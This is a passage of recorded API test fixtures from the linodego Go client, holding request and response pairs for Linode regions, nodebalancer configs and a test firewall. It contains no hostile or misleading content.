https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228216}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441127, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-34.ip.linodeusercontent.com", "ipv4": "172.232.87.34", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441127/configs method: POST response: body: '{"id": 670345, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441127, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441127/configs/670345 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441127 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228216 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerConfig_Get.yaml000066400000000000000000000657411455402072200325560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228221, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": 